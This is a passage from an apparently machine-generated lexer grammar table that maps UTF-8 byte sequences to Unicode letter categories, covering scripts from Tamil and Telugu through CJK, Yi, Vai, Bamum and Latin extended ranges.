E..TAMIL LETTER AI\n      | 0xE0 0xAE 0x92..0x95    #Lo   [4] TAMIL LETTER O..TAMIL LETTER KA\n      | 0xE0 0xAE 0x99..0x9A    #Lo   [2] TAMIL LETTER NGA..TAMIL LETTER CA\n      | 0xE0 0xAE 0x9C          #Lo       TAMIL LETTER JA\n      | 0xE0 0xAE 0x9E..0x9F    #Lo   [2] TAMIL LETTER NYA..TAMIL LETTER TTA\n      | 0xE0 0xAE 0xA3..0xA4    #Lo   [2] TAMIL LETTER NNA..TAMIL LETTER TA\n      | 0xE0 0xAE 0xA8..0xAA    #Lo   [3] TAMIL LETTER NA..TAMIL LETTER PA\n      | 0xE0 0xAE 0xAE..0xB9    #Lo  [12] TAMIL LETTER MA..TAMIL LETTER HA\n      | 0xE0 0xAF 0x90          #Lo       TAMIL OM\n      | 0xE0 0xB0 0x85..0x8C    #Lo   [8] TELUGU LETTER A..TELUGU LETTER VOC...\n      | 0xE0 0xB0 0x8E..0x90    #Lo   [3] TELUGU LETTER E..TELUGU LETTER AI\n      | 0xE0 0xB0 0x92..0xA8    #Lo  [23] TELUGU LETTER O..TELUGU LETTER NA\n      | 0xE0 0xB0 0xAA..0xB9    #Lo  [16] TELUGU LETTER PA..TELUGU LETTER HA\n      | 0xE0 0xB0 0xBD          #Lo       TELUGU SIGN AVAGRAHA\n      | 0xE0 0xB1 0x98..0x9A    #Lo   [3] TELUGU LETTER TSA..TELUGU LETTER RRRA\n      | 0xE0 0xB1 0xA0..0xA1    #Lo   [2] TELUGU LETTER VOCALIC RR..TELUGU L...\n      | 0xE0 0xB2 0x80          #Lo       KANNADA SIGN SPACING CANDRABINDU\n      | 0xE0 0xB2 0x85..0x8C    #Lo   [8] KANNADA LETTER A..KANNADA LETTER V...\n      | 0xE0 0xB2 0x8E..0x90    #Lo   [3] KANNADA LETTER E..KANNADA LETTER AI\n      | 0xE0 0xB2 0x92..0xA8    #Lo  [23] KANNADA LETTER O..KANNADA LETTER NA\n      | 0xE0 0xB2 0xAA..0xB3    #Lo  [10] KANNADA LETTER PA..KANNADA LETTER LLA\n      | 0xE0 0xB2 0xB5..0xB9    #Lo   [5] KANNADA LETTER VA..KANNADA LETTER HA\n      | 0xE0 0xB2 0xBD          #Lo       KANNADA SIGN AVAGRAHA\n      | 0xE0 0xB3 0x9E          #Lo       KANNADA LETTER FA\n      | 0xE0 0xB3 0xA0..0xA1    #Lo   [2] KANNADA LETTER VOCALIC RR..KANNADA...\n      | 0xE0 0xB3 0xB1..0xB2    #Lo   [2] KANNADA SIGN JIHVAMULIYA..KANNADA ...\n      | 0xE0 0xB4 0x85..0x8C    #Lo   [8] MALAYALAM LETTER A..MALAYALAM LETT...\n      | 0xE0 0xB4 0x8E..0x90    #Lo   [3] MALAYALAM LETTER E..MALAYALAM LETT...\n      | 0xE0 0xB4 0x92..0xBA    #Lo  [41] MALAYALAM LETTER O..MALAYALAM LETT...\n      | 0xE0 0xB4 0xBD          #Lo       MALAYALAM SIGN AVAGRAHA\n      | 0xE0 0xB5 0x8E          #Lo       MALAYALAM LETTER DOT REPH\n      | 0xE0 0xB5 0x94..0x96    #Lo   [3] MALAYALAM LETTER CHILLU M..MALAYAL...\n      | 0xE0 0xB5 0x9F..0xA1    #Lo   [3] MALAYALAM LETTER ARCHAIC II..MALAY...\n      | 0xE0 0xB5 0xBA..0xBF    #Lo   [6] MALAYALAM LETTER CHILLU NN..MALAYA...\n      | 0xE0 0xB6 0x85..0x96    #Lo  [18] SINHALA LETTER AYANNA..SINHALA LET...\n      | 0xE0 0xB6 0x9A..0xB1    #Lo  [24] SINHALA LETTER ALPAPRAANA KAYANNA....\n      | 0xE0 0xB6 0xB3..0xBB    #Lo   [9] SINHALA LETTER SANYAKA DAYANNA..SI...\n      | 0xE0 0xB6 0xBD          #Lo       SINHALA LETTER DANTAJA LAYANNA\n      | 0xE0 0xB7 0x80..0x86    #Lo   [7] SINHALA LETTER VAYANNA..SINHALA LE...\n      | 0xE0 0xB8 0x81..0xB0    #Lo  [48] THAI CHARACTER KO KAI..THAI CHARAC...\n      | 0xE0 0xB8 0xB2..0xB3    #Lo   [2] THAI CHARACTER SARA AA..THAI CHARA...\n      | 0xE0 0xB9 0x80..0x85    #Lo   [6] THAI CHARACTER SARA E..THAI CHARAC...\n      | 0xE0 0xB9 0x86          #Lm       THAI CHARACTER MAIYAMOK\n      | 0xE0 0xBA 0x81..0x82    #Lo   [2] LAO LETTER KO..LAO LETTER KHO SUNG\n      | 0xE0 0xBA 0x84          #Lo       LAO LETTER KHO TAM\n      | 0xE0 0xBA 0x87..0x88    #Lo   [2] LAO LETTER NGO..LAO LETTER CO\n      | 0xE0 0xBA 0x8A          #Lo       LAO LETTER SO TAM\n      | 0xE0 0xBA 0x8D          #Lo       LAO LETTER NYO\n      | 0xE0 0xBA 0x94..0x97    #Lo   [4] LAO LETTER DO..LAO LETTER THO TAM\n      | 0xE0 0xBA 0x99..0x9F    #Lo   [7] LAO LETTER NO..LAO LETTER FO SUNG\n      | 0xE0 0xBA 0xA1..0xA3    #Lo   [3] LAO LETTER MO..LAO LETTER LO LING\n      | 0xE0 0xBA 0xA5          #Lo       LAO LETTER LO LOOT\n      | 0xE0 0xBA 0xA7          #Lo       LAO LETTER WO\n      | 0xE0 0xBA 0xAA..0xAB    #Lo   [2] LAO LETTER SO SUNG..LAO LETTER HO ...\n      | 0xE0 0xBA 0xAD..0xB0    #Lo   [4] LAO LETTER O..LAO VOWEL SIGN A\n      | 0xE0 0xBA 0xB2..0xB3    #Lo   [2] LAO VOWEL SIGN AA..LAO VOWEL SIGN AM\n      | 0xE0 0xBA 0xBD          #Lo       LAO SEMIVOWEL SIGN NYO\n      | 0xE0 0xBB 0x80..0x84    #Lo   [5] LAO VOWEL SIGN E..LAO VOWEL SIGN AI\n      | 0xE0 0xBB 0x86          #Lm       LAO KO LA\n      | 0xE0 0xBB 0x9C..0x9F    #Lo   [4] LAO HO NO..LAO LETTER KHMU NYO\n      | 0xE0 0xBC 0x80          #Lo       TIBETAN SYLLABLE OM\n      | 0xE0 0xBD 0x80..0x87    #Lo   [8] TIBETAN LETTER KA..TIBETAN LETTER JA\n      | 0xE0 0xBD 0x89..0xAC    #Lo  [36] TIBETAN LETTER NYA..TIBETAN LETTER...\n      | 0xE0 0xBE 0x88..0x8C    #Lo   [5] TIBETAN SIGN LCE TSA CAN..TIBETAN ...\n      | 0xE1 0x80 0x80..0xAA    #Lo  [43] MYANMAR LETTER KA..MYANMAR LETTER AU\n      | 0xE1 0x80 0xBF          #Lo       MYANMAR LETTER GREAT SA\n      | 0xE1 0x81 0x90..0x95    #Lo   [6] MYANMAR LETTER SHA..MYANMAR LETTER...\n      | 0xE1 0x81 0x9A..0x9D    #Lo   [4] MYANMAR LETTER MON NGA..MYANMAR LE...\n      | 0xE1 0x81 0xA1          #Lo       MYANMAR LETTER SGAW KAREN SHA\n      | 0xE1 0x81 0xA5..0xA6    #Lo   [2] MYANMAR LETTER WESTERN PWO KAREN T...\n      | 0xE1 0x81 0xAE..0xB0    #Lo   [3] MYANMAR LETTER EASTERN PWO KAREN N...\n      | 0xE1 0x81 0xB5..0xFF    #Lo  [13] MYANMAR LETTER SHAN KA..MYANMAR LE...\n      | 0xE1 0x82 0x00..0x81    #\n      | 0xE1 0x82 0x8E          #Lo       MYANMAR LETTER RUMAI PALAUNG FA\n      | 0xE1 0x82 0xA0..0xFF    #L&  [38] GEORGIAN CAPITAL LETTER AN..GEORGI...\n      | 0xE1 0x83 0x00..0x85    #\n      | 0xE1 0x83 0x87          #L&       GEORGIAN CAPITAL LETTER YN\n      | 0xE1 0x83 0x8D          #L&       GEORGIAN CAPITAL LETTER AEN\n      | 0xE1 0x83 0x90..0xBA    #Lo  [43] GEORGIAN LETTER AN..GEORGIAN LETTE...\n      | 0xE1 0x83 0xBC          #Lm       MODIFIER LETTER GEORGIAN NAR\n      | 0xE1 0x83 0xBD..0xFF        #Lo [332] GEORGIAN LETTER AEN..ETHIOPIC ...\n      | 0xE1 0x84..0x88 0x00..0xFF  #\n      | 0xE1 0x89 0x00..0x88        #\n      | 0xE1 0x89 0x8A..0x8D    #Lo   [4] ETHIOPIC SYLLABLE QWI..ETHIOPIC SY...\n      | 0xE1 0x89 0x90..0x96    #Lo   [7] ETHIOPIC SYLLABLE QHA..ETHIOPIC SY...\n      | 0xE1 0x89 0x98          #Lo       ETHIOPIC SYLLABLE QHWA\n      | 0xE1 0x89 0x9A..0x9D    #Lo   [4] ETHIOPIC SYLLABLE QHWI..ETHIOPIC S...\n      | 0xE1 0x89 0xA0..0xFF    #Lo  [41] ETHIOPIC SYLLABLE BA..ETHIOPIC SYL...\n      | 0xE1 0x8A 0x00..0x88    #\n      | 0xE1 0x8A 0x8A..0x8D    #Lo   [4] ETHIOPIC SYLLABLE XWI..ETHIOPIC SY...\n      | 0xE1 0x8A 0x90..0xB0    #Lo  [33] ETHIOPIC SYLLABLE NA..ETHIOPIC SYL...\n      | 0xE1 0x8A 0xB2..0xB5    #Lo   [4] ETHIOPIC SYLLABLE KWI..ETHIOPIC SY...\n      | 0xE1 0x8A 0xB8..0xBE    #Lo   [7] ETHIOPIC SYLLABLE KXA..ETHIOPIC SY...\n      | 0xE1 0x8B 0x80          #Lo       ETHIOPIC SYLLABLE KXWA\n      | 0xE1 0x8B 0x82..0x85    #Lo   [4] ETHIOPIC SYLLABLE KXWI..ETHIOPIC S...\n      | 0xE1 0x8B 0x88..0x96    #Lo  [15] ETHIOPIC SYLLABLE WA..ETHIOPIC SYL...\n      | 0xE1 0x8B 0x98..0xFF    #Lo  [57] ETHIOPIC SYLLABLE ZA..ETHIOPIC SYL...\n      | 0xE1 0x8C 0x00..0x90    #\n      | 0xE1 0x8C 0x92..0x95    #Lo   [4] ETHIOPIC SYLLABLE GWI..ETHIOPIC SY...\n      | 0xE1 0x8C 0x98..0xFF    #Lo  [67] ETHIOPIC SYLLABLE GGA..ETHIOPIC SY...\n      | 0xE1 0x8D 0x00..0x9A    #\n      | 0xE1 0x8E 0x80..0x8F    #Lo  [16] ETHIOPIC SYLLABLE SEBATBEIT MWA..E...\n      | 0xE1 0x8E 0xA0..0xFF    #L&  [86] CHEROKEE LETTER A..CHEROKEE LETTER MV\n      | 0xE1 0x8F 0x00..0xB5    #\n      | 0xE1 0x8F 0xB8..0xBD    #L&   [6] CHEROKEE SMALL LETTER YE..CHEROKEE...\n      | 0xE1 0x90 0x81..0xFF        #Lo [620] CANADIAN SYLLABICS E..CANADIAN...\n      | 0xE1 0x91..0x98 0x00..0xFF  #\n      | 0xE1 0x99 0x00..0xAC        #\n      | 0xE1 0x99 0xAF..0xBF    #Lo  [17] CANADIAN SYLLABICS QAI..CANADIAN S...\n      | 0xE1 0x9A 0x81..0x9A    #Lo  [26] OGHAM LETTER BEITH..OGHAM LETTER P...\n      | 0xE1 0x9A 0xA0..0xFF    #Lo  [75] RUNIC LETTER FEHU FEOH FE F..RUNIC...\n      | 0xE1 0x9B 0x00..0xAA    #\n      | 0xE1 0x9B 0xAE..0xB0    #Nl   [3] RUNIC ARLAUG SYMBOL..RUNIC BELGTHO...\n      | 0xE1 0x9B 0xB1..0xB8    #Lo   [8] RUNIC LETTER K..RUNIC LETTER FRANK...\n      | 0xE1 0x9C 0x80..0x8C    #Lo  [13] TAGALOG LETTER A..TAGALOG LETTER YA\n      | 0xE1 0x9C 0x8E..0x91    #Lo   [4] TAGALOG LETTER LA..TAGALOG LETTER HA\n      | 0xE1 0x9C 0xA0..0xB1    #Lo  [18] HANUNOO LETTER A..HANUNOO LETTER HA\n      | 0xE1 0x9D 0x80..0x91    #Lo  [18] BUHID LETTER A..BUHID LETTER HA\n      | 0xE1 0x9D 0xA0..0xAC    #Lo  [13] TAGBANWA LETTER A..TAGBANWA LETTER YA\n      | 0xE1 0x9D 0xAE..0xB0    #Lo   [3] TAGBANWA LETTER LA..TAGBANWA LETTE...\n      | 0xE1 0x9E 0x80..0xB3    #Lo  [52] KHMER LETTER KA..KHMER INDEPENDENT...\n      | 0xE1 0x9F 0x97          #Lm       KHMER SIGN LEK TOO\n      | 0xE1 0x9F 0x9C          #Lo       KHMER SIGN AVAKRAHASANYA\n      | 0xE1 0xA0 0xA0..0xFF    #Lo  [35] MONGOLIAN LETTER A..MONGOLIAN LETT...\n      | 0xE1 0xA1 0x00..0x82    #\n      | 0xE1 0xA1 0x83          #Lm       MONGOLIAN LETTER TODO LONG VOWEL SIGN\n      | 0xE1 0xA1 0x84..0xB7    #Lo  [52] MONGOLIAN LETTER TODO E..MONGOLIAN...\n      | 0xE1 0xA2 0x80..0x84    #Lo   [5] MONGOLIAN LETTER ALI GALI ANUSVARA...\n      | 0xE1 0xA2 0x85..0x86    #Mn   [2] MONGOLIAN LETTER ALI GALI BALUDA.....\n      | 0xE1 0xA2 0x87..0xA8    #Lo  [34] MONGOLIAN LETTER ALI GALI A..MONGO...\n      | 0xE1 0xA2 0xAA          #Lo       MONGOLIAN LETTER MANCHU ALI GALI LHA\n      | 0xE1 0xA2 0xB0..0xFF    #Lo  [70] CANADIAN SYLLABICS OY..CANADIAN SY...\n      | 0xE1 0xA3 0x00..0xB5    #\n      | 0xE1 0xA4 0x80..0x9E    #Lo  [31] LIMBU VOWEL-CARRIER LETTER..LIMBU ...\n      | 0xE1 0xA5 0x90..0xAD    #Lo  [30] TAI LE LETTER KA..TAI LE LETTER AI\n      | 0xE1 0xA5 0xB0..0xB4    #Lo   [5] TAI LE LETTER TONE-2..TAI LE LETTE...\n      | 0xE1 0xA6 0x80..0xAB    #Lo  [44] NEW TAI LUE LETTER HIGH QA..NEW TA...\n      | 0xE1 0xA6 0xB0..0xFF    #Lo  [26] NEW TAI LUE VOWEL SIGN VOWEL SHORT...\n      | 0xE1 0xA7 0x00..0x89    #\n      | 0xE1 0xA8 0x80..0x96    #Lo  [23] BUGINESE LETTER KA..BUGINESE LETTE...\n      | 0xE1 0xA8 0xA0..0xFF    #Lo  [53] TAI THAM LETTER HIGH KA..TAI THAM ...\n      | 0xE1 0xA9 0x00..0x94    #\n      | 0xE1 0xAA 0xA7          #Lm       TAI THAM SIGN MAI YAMOK\n      | 0xE1 0xAC 0x85..0xB3    #Lo  [47] BALINESE LETTER AKARA..BALINESE LE...\n      | 0xE1 0xAD 0x85..0x8B    #Lo   [7] BALINESE LETTER KAF SASAK..BALINES...\n      | 0xE1 0xAE 0x83..0xA0    #Lo  [30] SUNDANESE LETTER A..SUNDANESE LETT...\n      | 0xE1 0xAE 0xAE..0xAF    #Lo   [2] SUNDANESE LETTER KHA..SUNDANESE LE...\n      | 0xE1 0xAE 0xBA..0xFF    #Lo  [44] SUNDANESE AVAGRAHA..BATAK LETTER U\n      | 0xE1 0xAF 0x00..0xA5    #\n      | 0xE1 0xB0 0x80..0xA3    #Lo  [36] LEPCHA LETTER KA..LEPCHA LETTER A\n      | 0xE1 0xB1 0x8D..0x8F    #Lo   [3] LEPCHA LETTER TTA..LEPCHA LETTER DDA\n      | 0xE1 0xB1 0x9A..0xB7    #Lo  [30] OL CHIKI LETTER LA..OL CHIKI LETTE...\n      | 0xE1 0xB1 0xB8..0xBD    #Lm   [6] OL CHIKI MU TTUDDAG..OL CHIKI AHAD\n      | 0xE1 0xB2 0x80..0x88    #L&   [9] CYRILLIC SMALL LETTER ROUNDED VE.....\n      | 0xE1 0xB3 0xA9..0xAC    #Lo   [4] VEDIC SIGN ANUSVARA ANTARGOMUKHA.....\n      | 0xE1 0xB3 0xAE..0xB1    #Lo   [4] VEDIC SIGN HEXIFORM LONG ANUSVARA....\n      | 0xE1 0xB3 0xB5..0xB6    #Lo   [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN...\n      | 0xE1 0xB4 0x80..0xAB    #L&  [44] LATIN LETTER SMALL CAPITAL A..CYRI...\n      | 0xE1 0xB4 0xAC..0xFF    #Lm  [63] MODIFIER LETTER CAPITAL A..GREEK S...\n      | 0xE1 0xB5 0x00..0xAA    #\n      | 0xE1 0xB5 0xAB..0xB7    #L&  [13] LATIN SMALL LETTER UE..LATIN SMALL...\n      | 0xE1 0xB5 0xB8          #Lm       MODIFIER LETTER CYRILLIC EN\n      | 0xE1 0xB5 0xB9..0xFF    #L&  [34] LATIN SMALL LETTER INSULAR G..LATI...\n      | 0xE1 0xB6 0x00..0x9A    #\n      | 0xE1 0xB6 0x9B..0xBF    #Lm  [37] MODIFIER LETTER SMALL TURNED ALPHA...\n      | 0xE1 0xB8 0x80..0xFF        #L& [278] LATIN CAPITAL LETTER A WITH RI...\n      | 0xE1 0xB9..0xBB 0x00..0xFF  #\n      | 0xE1 0xBC 0x00..0x95        #\n      | 0xE1 0xBC 0x98..0x9D    #L&   [6] GREEK CAPITAL LETTER EPSILON WITH ...\n      | 0xE1 0xBC 0xA0..0xFF    #L&  [38] GREEK SMALL LETTER ETA WITH PSILI....\n      | 0xE1 0xBD 0x00..0x85    #\n      | 0xE1 0xBD 0x88..0x8D    #L&   [6] GREEK CAPITAL LETTER OMICRON WITH ...\n      | 0xE1 0xBD 0x90..0x97    #L&   [8] GREEK SMALL LETTER UPSILON WITH PS...\n      | 0xE1 0xBD 0x99          #L&       GREEK CAPITAL LETTER UPSILON WITH ...\n      | 0xE1 0xBD 0x9B          #L&       GREEK CAPITAL LETTER UPSILON WITH ...\n      | 0xE1 0xBD 0x9D          #L&       GREEK CAPITAL LETTER UPSILON WITH ...\n      | 0xE1 0xBD 0x9F..0xBD    #L&  [31] GREEK CAPITAL LETTER UPSILON WITH ...\n      | 0xE1 0xBE 0x80..0xB4    #L&  [53] GREEK SMALL LETTER ALPHA WITH PSIL...\n      | 0xE1 0xBE 0xB6..0xBC    #L&   [7] GREEK SMALL LETTER ALPHA WITH PERI...\n      | 0xE1 0xBE 0xBE          #L&       GREEK PROSGEGRAMMENI\n      | 0xE1 0xBF 0x82..0x84    #L&   [3] GREEK SMALL LETTER ETA WITH VARIA ...\n      | 0xE1 0xBF 0x86..0x8C    #L&   [7] GREEK SMALL LETTER ETA WITH PERISP...\n      | 0xE1 0xBF 0x90..0x93    #L&   [4] GREEK SMALL LETTER IOTA WITH VRACH...\n      | 0xE1 0xBF 0x96..0x9B    #L&   [6] GREEK SMALL LETTER IOTA WITH PERIS...\n      | 0xE1 0xBF 0xA0..0xAC    #L&  [13] GREEK SMALL LETTER UPSILON WITH VR...\n      | 0xE1 0xBF 0xB2..0xB4    #L&   [3] GREEK SMALL LETTER OMEGA WITH VARI...\n      | 0xE1 0xBF 0xB6..0xBC    #L&   [7] GREEK SMALL LETTER OMEGA WITH PERI...\n      | 0xE2 0x81 0xB1          #Lm       SUPERSCRIPT LATIN SMALL LETTER I\n      | 0xE2 0x81 0xBF          #Lm       SUPERSCRIPT LATIN SMALL LETTER N\n      | 0xE2 0x82 0x90..0x9C    #Lm  [13] LATIN SUBSCRIPT SMALL LETTER A..LA...\n      | 0xE2 0x84 0x82          #L&       DOUBLE-STRUCK CAPITAL C\n      | 0xE2 0x84 0x87          #L&       EULER CONSTANT\n      | 0xE2 0x84 0x8A..0x93    #L&  [10] SCRIPT SMALL G..SCRIPT SMALL L\n      | 0xE2 0x84 0x95          #L&       DOUBLE-STRUCK CAPITAL N\n      | 0xE2 0x84 0x98          #Sm       SCRIPT CAPITAL P\n      | 0xE2 0x84 0x99..0x9D    #L&   [5] DOUBLE-STRUCK CAPITAL P..DOUBLE-ST...\n      | 0xE2 0x84 0xA4          #L&       DOUBLE-STRUCK CAPITAL Z\n      | 0xE2 0x84 0xA6          #L&       OHM SIGN\n      | 0xE2 0x84 0xA8          #L&       BLACK-LETTER CAPITAL Z\n      | 0xE2 0x84 0xAA..0xAD    #L&   [4] KELVIN SIGN..BLACK-LETTER CAPITAL C\n      | 0xE2 0x84 0xAE          #So       ESTIMATED SYMBOL\n      | 0xE2 0x84 0xAF..0xB4    #L&   [6] SCRIPT SMALL E..SCRIPT SMALL O\n      | 0xE2 0x84 0xB5..0xB8    #Lo   [4] ALEF SYMBOL..DALET SYMBOL\n      | 0xE2 0x84 0xB9          #L&       INFORMATION SOURCE\n      | 0xE2 0x84 0xBC..0xBF    #L&   [4] DOUBLE-STRUCK SMALL PI..DOUBLE-STR...\n      | 0xE2 0x85 0x85..0x89    #L&   [5] DOUBLE-STRUCK ITALIC CAPITAL D..DO...\n      | 0xE2 0x85 0x8E          #L&       TURNED SMALL F\n      | 0xE2 0x85 0xA0..0xFF    #Nl  [35] ROMAN NUMERAL ONE..ROMAN NUMERAL T...\n      | 0xE2 0x86 0x00..0x82    #\n      | 0xE2 0x86 0x83..0x84    #L&   [2] ROMAN NUMERAL REVERSED ONE HUNDRED...\n      | 0xE2 0x86 0x85..0x88    #Nl   [4] ROMAN NUMERAL SIX LATE FORM..ROMAN...\n      | 0xE2 0xB0 0x80..0xAE    #L&  [47] GLAGOLITIC CAPITAL LETTER AZU..GLA...\n      | 0xE2 0xB0 0xB0..0xFF    #L&  [47] GLAGOLITIC SMALL LETTER AZU..GLAGO...\n      | 0xE2 0xB1 0x00..0x9E    #\n      | 0xE2 0xB1 0xA0..0xBB    #L&  [28] LATIN CAPITAL LETTER L WITH DOUBLE...\n      | 0xE2 0xB1 0xBC..0xBD    #Lm   [2] LATIN SUBSCRIPT SMALL LETTER J..MO...\n      | 0xE2 0xB1 0xBE..0xFF        #L& [103] LATIN CAPITAL LETTER S WITH SW...\n      | 0xE2 0xB2..0xB2 0x00..0xFF  #\n      | 0xE2 0xB3 0x00..0xA4        #\n      | 0xE2 0xB3 0xAB..0xAE    #L&   [4] COPTIC CAPITAL LETTER CRYPTOGRAMMI...\n      | 0xE2 0xB3 0xB2..0xB3    #L&   [2] COPTIC CAPITAL LETTER BOHAIRIC KHE...\n      | 0xE2 0xB4 0x80..0xA5    #L&  [38] GEORGIAN SMALL LETTER AN..GEORGIAN...\n      | 0xE2 0xB4 0xA7          #L&       GEORGIAN SMALL LETTER YN\n      | 0xE2 0xB4 0xAD          #L&       GEORGIAN SMALL LETTER AEN\n      | 0xE2 0xB4 0xB0..0xFF    #Lo  [56] TIFINAGH LETTER YA..TIFINAGH LETTE...\n      | 0xE2 0xB5 0x00..0xA7    #\n      | 0xE2 0xB5 0xAF          #Lm       TIFINAGH MODIFIER LETTER LABIALIZA...\n      | 0xE2 0xB6 0x80..0x96    #Lo  [23] ETHIOPIC SYLLABLE LOA..ETHIOPIC SY...\n      | 0xE2 0xB6 0xA0..0xA6    #Lo   [7] ETHIOPIC SYLLABLE SSA..ETHIOPIC SY...\n      | 0xE2 0xB6 0xA8..0xAE    #Lo   [7] ETHIOPIC SYLLABLE CCA..ETHIOPIC SY...\n      | 0xE2 0xB6 0xB0..0xB6    #Lo   [7] ETHIOPIC SYLLABLE ZZA..ETHIOPIC SY...\n      | 0xE2 0xB6 0xB8..0xBE    #Lo   [7] ETHIOPIC SYLLABLE CCHA..ETHIOPIC S...\n      | 0xE2 0xB7 0x80..0x86    #Lo   [7] ETHIOPIC SYLLABLE QYA..ETHIOPIC SY...\n      | 0xE2 0xB7 0x88..0x8E    #Lo   [7] ETHIOPIC SYLLABLE KYA..ETHIOPIC SY...\n      | 0xE2 0xB7 0x90..0x96    #Lo   [7] ETHIOPIC SYLLABLE XYA..ETHIOPIC SY...\n      | 0xE2 0xB7 0x98..0x9E    #Lo   [7] ETHIOPIC SYLLABLE GYA..ETHIOPIC SY...\n      | 0xE3 0x80 0x85          #Lm       IDEOGRAPHIC ITERATION MARK\n      | 0xE3 0x80 0x86          #Lo       IDEOGRAPHIC CLOSING MARK\n      | 0xE3 0x80 0x87          #Nl       IDEOGRAPHIC NUMBER ZERO\n      | 0xE3 0x80 0xA1..0xA9    #Nl   [9] HANGZHOU NUMERAL ONE..HANGZHOU NUM...\n      | 0xE3 0x80 0xB1..0xB5    #Lm   [5] VERTICAL KANA REPEAT MARK..VERTICA...\n      | 0xE3 0x80 0xB8..0xBA    #Nl   [3] HANGZHOU NUMERAL TEN..HANGZHOU NUM...\n      | 0xE3 0x80 0xBB          #Lm       VERTICAL IDEOGRAPHIC ITERATION MARK\n      | 0xE3 0x80 0xBC          #Lo       MASU MARK\n      | 0xE3 0x81 0x81..0xFF    #Lo  [86] HIRAGANA LETTER SMALL A..HIRAGANA ...\n      | 0xE3 0x82 0x00..0x96    #\n      | 0xE3 0x82 0x9B..0x9C    #Sk   [2] KATAKANA-HIRAGANA VOICED SOUND MAR...\n      | 0xE3 0x82 0x9D..0x9E    #Lm   [2] HIRAGANA ITERATION MARK..HIRAGANA ...\n      | 0xE3 0x82 0x9F          #Lo       HIRAGANA DIGRAPH YORI\n      | 0xE3 0x82 0xA1..0xFF    #Lo  [90] KATAKANA LETTER SMALL A..KATAKANA ...\n      | 0xE3 0x83 0x00..0xBA    #\n      | 0xE3 0x83 0xBC..0xBE    #Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND ...\n      | 0xE3 0x83 0xBF          #Lo       KATAKANA DIGRAPH KOTO\n      | 0xE3 0x84 0x85..0xAD    #Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH\n      | 0xE3 0x84 0xB1..0xFF        #Lo  [94] HANGUL LETTER KIYEOK..HANGUL L...\n      | 0xE3 0x85..0x85 0x00..0xFF  #\n      | 0xE3 0x86 0x00..0x8E        #\n      | 0xE3 0x86 0xA0..0xBA    #Lo  [27] BOPOMOFO LETTER BU..BOPOMOFO LETTE...\n      | 0xE3 0x87 0xB0..0xBF    #Lo  [16] KATAKANA LETTER SMALL KU..KATAKANA...\n      | 0xE3 0x90 0x80..0xFF        #Lo [6582] CJK UNIFIED IDEOGRAPH-3400..C...\n      | 0xE3 0x91..0xFF 0x00..0xFF  #\n      | 0xE4 0x00 0x00..0xFF        #\n      | 0xE4 0x01..0xB5 0x00..0xFF  #\n      | 0xE4 0xB6 0x00..0xB5        #\n      | 0xE4 0xB8 0x80..0xFF              #Lo [20950] CJK UNIFIED IDEOGRAPH-...\n      | 0xE4 0xB9..0xFF 0x00..0xFF        #\n      | 0xE5..0xE8 0x00..0xFF 0x00..0xFF  #\n      | 0xE9 0x00 0x00..0xFF              #\n      | 0xE9 0x01..0xBE 0x00..0xFF        #\n      | 0xE9 0xBF 0x00..0x95              #\n      | 0xEA 0x80 0x80..0x94    #Lo  [21] YI SYLLABLE IT..YI SYLLABLE E\n      | 0xEA 0x80 0x95          #Lm       YI SYLLABLE WU\n      | 0xEA 0x80 0x96..0xFF        #Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR\n      | 0xEA 0x81..0x91 0x00..0xFF  #\n      | 0xEA 0x92 0x00..0x8C        #\n      | 0xEA 0x93 0x90..0xB7    #Lo  [40] LISU LETTER BA..LISU LETTER OE\n      | 0xEA 0x93 0xB8..0xBD    #Lm   [6] LISU LETTER TONE MYA TI..LISU LETT...\n      | 0xEA 0x94 0x80..0xFF        #Lo [268] VAI SYLLABLE EE..VAI SYLLABLE NG\n      | 0xEA 0x95..0x97 0x00..0xFF  #\n      | 0xEA 0x98 0x00..0x8B        #\n      | 0xEA 0x98 0x8C          #Lm       VAI SYLLABLE LENGTHENER\n      | 0xEA 0x98 0x90..0x9F    #Lo  [16] VAI SYLLABLE NDOLE FA..VAI SYMBOL ...\n      | 0xEA 0x98 0xAA..0xAB    #Lo   [2] VAI SYLLABLE NDOLE MA..VAI SYLLABL...\n      | 0xEA 0x99 0x80..0xAD    #L&  [46] CYRILLIC CAPITAL LETTER ZEMLYA..CY...\n      | 0xEA 0x99 0xAE          #Lo       CYRILLIC LETTER MULTIOCULAR O\n      | 0xEA 0x99 0xBF          #Lm       CYRILLIC PAYEROK\n      | 0xEA 0x9A 0x80..0x9B    #L&  [28] CYRILLIC CAPITAL LETTER DWE..CYRIL...\n      | 0xEA 0x9A 0x9C..0x9D    #Lm   [2] MODIFIER LETTER CYRILLIC HARD SIGN...\n      | 0xEA 0x9A 0xA0..0xFF    #Lo  [70] BAMUM LETTER A..BAMUM LETTER KI\n      | 0xEA 0x9B 0x00..0xA5    #\n      | 0xEA 0x9B 0xA6..0xAF    #Nl  [10] BAMUM LETTER MO..BAMUM LETTER KOGHOM\n      | 0xEA 0x9C 0x97..0x9F    #Lm   [9] MODIFIER LETTER DOT VERTICAL BAR.....\n      | 0xEA 0x9C 0xA2..0xFF    #L&  [78] LATIN CAPITAL LETTER EGYPTOLOGICAL...\n      | 0xEA 0x9D 0x00..0xAF    #\n      | 0xEA 0x9D 0xB0          #Lm       MODIFIER LETTER US\n      | 0xEA 0x9D 0xB1..0xFF    #L&  [23] LATIN SMALL LETTER DUM..LATIN SMAL...\n      | 0xEA 0x9E 0x00..0x87    #\n      | 0xEA 0x9E 0x88          #Lm       MODIFIER LETTER LOW CIRCUMFLEX ACCENT\n      | 0xEA 0x9E 0x8B..0x8E    #L&   [4] LATIN CAPITAL LETTER SALTILLO..LAT...\n      | 0xEA 0x9E 0x8F          #Lo       LATIN LETTER SINOLOGICAL DOT\n      | 0xEA 0x9E 0x90..0xAE    #L&  [31] LATIN CAPITAL LETTER N WITH DESCEN...\n      | 0xEA 0x9E 0xB0..0xB7    #L&   [8] LATIN CAPITAL LETTER TURNED K..LAT...\n      | 0xEA 0x9F 0xB7          #Lo       LATIN EPIGRAPHIC LETTER SIDEWAYS I\n      | 0xEA 0x9F 0xB8..0xB9    #Lm   [2] MODIFIER LETTER CAPITAL H WITH STR...\n      | 0xEA 0x9F 0xBA          #L&       LATIN LETTER SMALL CAPITAL TURNED M\n      | 0xEA 0x9F 0xBB..0xFF    #Lo   [7] LATIN EPIGRAPHIC LETTER REVERSED F...\n      | 0xEA 0xA0 0x00..0x81    #\n      | 0xEA 0xA0 0x83..0x85    